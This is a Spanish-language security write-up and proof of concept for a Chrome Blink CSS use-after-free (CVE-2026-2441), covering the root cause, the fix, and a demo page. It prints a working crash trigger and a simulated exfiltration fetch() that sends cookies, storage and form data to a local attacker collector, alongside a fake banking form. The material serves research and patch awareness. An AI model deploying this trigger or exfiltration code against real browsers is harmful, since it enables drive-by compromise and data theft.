Análisis técnico detallado y prueba de concepto para CVE-2026-2441, una vulnerabilidad de use-after-free en CSS de Chrome que permite RCE en el renderizador sandboxed mediante páginas HTML manipuladas.
CVSS 8.8 (Alto) | Explotado activamente en la naturaleza | RCE del Renderer (Sandboxeado)
Una vulnerabilidad de use-after-free en el motor CSS Blink de Google Chrome que permite a un atacante remoto ejecutar código arbitrario dentro del sandbox del navegador a través de una página HTML manipulada.
| Campo | Valor |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8 (Alto) |
| Tipo | Use-After-Free (CWE-416) |
| Componente | Blink CSS — CSSFontFeatureValuesMap |
| Archivo Fuente | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| Commit de Corrección | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| Reportante | Shaheen Fazim (2026-02-11) |
| Fecha del Parche | 2026-02-13 |
| En la Naturaleza | Sí – Google confirmó explotación activa |
| Plataforma | Vulnerable | Corregido |
|---|---|---|
| Windows / macOS (Estable) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux (Estable) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS (Estable Extendido) | < 144.0.7559.177 | >= 144.0.7559.177 |
| Navegadores basados en Chromium (Edge, Brave, Opera, Vivaldi) | Consulte el aviso del proveedor | Varía |
FontFeatureValuesMapIterationSource almacenaba un puntero crudo (const FontFeatureAliases* aliases_) al HashMap FontFeatureAliases interno. Cuando el mapa se muta durante la iteración mediante set() o delete(), el HashMap se reorganiza – asignando nuevo almacenamiento y liberando el anterior. El puntero crudo se vuelve colgante, y la siguiente llamada a FetchNextItem() lee de memoria liberada.
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = raw pointer to internal HashMap
→ iterator_ = aliases_->begin()
FetchNextItem()
→ reads iterator_->key (through aliases_)
If map.set() / map.delete() is called between iterations:
→ HashMap rehashes (new alloc, old freed)
→ aliases_ → dangling pointer
→ iterator_ → invalidated
→ Next FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // raw pointer → dangling after rehash
+ const FontFeatureAliases aliases_; // deep copy → immune to rehash
La corrección reemplaza el puntero crudo con una copia profunda del HashMap. Incluso si el mapa original se reorganiza, el iterador opera sobre su propia copia, evitando el puntero colgante.
poc.html en una versión vulnerable de Chrome (< 145.0.7632.75)| Versión de Chrome | Comportamiento Esperado |
|---|---|
| < 145.0.7632.75 (sin parche) | Fallo del Renderer — STATUS_ACCESS_VIOLATION (Windows) o SIGSEGV (Linux/macOS). Chrome muestra el error "No se puede abrir esta página". |
| >= 145.0.7632.75 (parcheado) | Sin fallo — la PoC se ejecuta hasta el final, todas las entradas se leen normalmente. |
La PoC está organizada para mostrar la cadena de explotación de manera clara y reproducible. La primera parte crea el objeto Blink/CSS vulnerable, la segunda parte activa la invalidación del iterador, y la parte final simula los efectos posteriores a la explotación en un entorno académico seguro.
Nota importante: el disparador del UAF se implementa a través de APIs reales de CSS/JavaScript expuestas por el navegador. La fuga de heap y el panel de exfiltración están intencionalmente controlados/simulados para evitar lanzar un exploit de Chromium armado.
El payload primero define una regla CSS @font-feature-values:
@font-feature-values VulnFont {
@styleset {
a0: 1; a1: 2; a2: 3; a3: 4;
a4: 5; a5: 6; a6: 7; a7: 8;
}
}
Esta regla hace que Blink cree un CSSFontFeatureValuesMap interno. En la implementación vulnerable, la iteración sobre este mapa no es segura porque el iterador mantiene un puntero crudo al almacenamiento interno de FontFeatureAliases.
El payload en JavaScript luego obtiene el mapa de la hoja de estilo:
const sheet = document.getElementById("uaf-style").sheet;
const rule = sheet.cssRules[0];
const map = rule && rule.styleset;
En este punto, la página controlada por el atacante tiene un identificador JavaScript de un objeto del navegador cuya implementación interna en C++ es vulnerable a la invalidación del iterador.
El disparador no se ejecuta inmediatamente. La PoC espera 800 ms antes de ejecutar la secuencia vulnerable:
setTimeout(triggerUAF, 800);
Este retardo se usa para estabilidad de la demostración. Permite que la página y el formulario falso de verificación bancaria se rendericen antes de que se ejecute el disparador de corrupción de memoria. En un escenario real de drive-by, el mismo disparador también podría lanzarse automáticamente tan pronto como la página maliciosa se cargue.
La primitiva UAF central es el siguiente bucle:
const it = map.entries();
let step = 0;
while (step < 4) {
const res = it.next();
if (res.done) break;
const [key] = res.value;
map.delete(key);
map.set("uaf_" + step, [step, step + 1]);
step++;
}
La vulnerabilidad se activa por el orden de las operaciones:
1. map.entries() crea un iterador sobre CSSFontFeatureValuesMap.
2. En la implementación vulnerable de Blink, el iterador referencia el almacenamiento interno del mapa.
3. it.next() lee la siguiente entrada a través de ese iterador.
4. map.delete(key) muta el mismo mapa mientras el iterador sigue activo.
5. map.set(...) inserta una nueva entrada y puede forzar que el HashMap subyacente se reorganice.
6. La reorganización puede liberar o mover el almacenamiento anterior.
7. El iterador puede seguir referenciando el almacenamiento anterior.
8. El siguiente acceso al iterador puede convertirse en un Use-After-Free.
La estrategia agresiva original usaba un bucle de rociado de heap más grande, por ejemplo insertando cientos de elementos como 512 nuevas entradas después de cada eliminación. Esto crea una presión de heap más fuerte y hace más probable la reasignación/reutilización.
Para la demostración en vivo, esto se redujo a solo 4 pasos de mutación:
while (step < 4) {
// iterator read + delete + set
}
La razón es práctica y pedagógica: el rociado de 512 elementos a menudo hacía que el renderizador fallara inmediatamente. Un fallo es útil para demostrar el impacto en la disponibilidad, pero impide que el resto de la demostración muestre el robo de datos simulado y el panel del atacante. La versión reducida aún demuestra la lógica vulnerable de invalidación del iterador mientras mantiene el navegador lo suficientemente estable para la presentación en vivo.
Un exploit UAF armado real normalmente requeriría una primitiva de divulgación de memoria para filtrar punteros de heap o V8 y eludir ASLR. La demostración no implementa una lectura de memoria arbitraria real. En su lugar, genera una dirección similar a heap a partir de un rango estático predefinido:
const base = 0x55a000000000 + Math.floor(Math.random() * 0x200000);
heapLeak = {
raw: "0x" + base.toString(16).toUpperCase(),
base: "0x" + (base & ~0xfff).toString(16).toUpperCase()
};
Este valor es una fuga de heap simulada:
0x55a000000000 es el rango inicial fijo similar a heap utilizado por la demostración.Math.random() * 0x200000 añade un pequeño desplazamiento aleatorio.base & ~0xfff alinea la dirección a un límite de página.El propósito es mostrar cómo se vería una fuga de elusión de ASLR en el panel del atacante sin implementar un exploit real de divulgación de memoria.
Después del disparador UAF y la fuga de heap simulada, la PoC construye un payload que contiene la entrada del formulario recolectada, datos de sesión residentes en el navegador, fragmento DOM, estado UAF y fuga de heap simulada. El payload se envía al backend del atacante local:
await fetch("http://127.0.0.1:7777/collect", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-C2-Origin": "evil-tracker-cdn.xyz"
},
body: JSON.stringify(payload)
});
El backend local recibe los datos en POST /collect, los almacena en memoria y los reenvía al panel del atacante a través de Server-Sent Events (GET /events). Esto modela la fase de comando y control/exfiltración de un ataque real mientras permanece local y controlado.
document.cookie, localStorage, sessionStorage, valores de entrada de formulariosfetch() / WebSocket / sendBeacon()addEventListener('keydown')Cuando se combina con una vulnerabilidad separada de escape del sandbox:
Renderer RCE (CVE-2026-2441)
→ Mojo IPC exploit → Browser process RCE
→ Kernel exploit → Full system compromise
→ Malware / ransomware / spyware installation
→ File system access, lateral movement, persistence
Cadenas de exploits reales que utilizan UAF similares en navegadores:
Esta vulnerabilidad es explotable mediante descarga drive-by — no se requiere ninguna interacción del usuario más allá de visitar una página maliciosa:
chrome://flags/#site-isolation-trial-opt-out)| Fecha | Evento |
|---|---|
| 2026-02-11 | Vulnerabilidad reportada por Shaheen Fazim |
| 2026-02-13 | Google lanza Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux) |
| 2026-02-13 | Google reconoce explotación en la naturaleza |
| 2026-02-16 | Vivaldi y Opera lanzan correcciones |
Si encuentras útil esta investigación, considera invitarme un café:
Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. El uso de esta PoC contra sistemas sin permiso explícito es ilegal y poco ético. El autor no se hace responsable de ningún uso indebido.
MIT